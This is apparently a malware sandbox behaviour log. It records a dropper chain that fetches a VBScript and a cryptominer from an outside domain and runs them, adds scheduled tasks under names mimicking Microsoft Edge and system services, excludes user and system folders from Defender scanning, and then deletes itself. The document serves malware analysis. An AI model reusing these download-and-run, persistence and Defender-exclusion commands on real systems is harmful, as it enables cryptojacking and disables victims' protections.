Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1820:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7616:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:888:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1992:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7120:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6188:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs

Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
Source: C:\Windows\System32\Microsoft\Libs\sihost64.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

ReversingLabs: Detection: 50%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe"
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript conf.vbs
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del miner2.0.exe 2>nul && curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe && start miner2.0.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\miner2.0.exe miner2.0.exe
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: unknown	Process created: C:\Windows\System32\services64.exe C:\Windows\system32\services64.exe
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\services64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
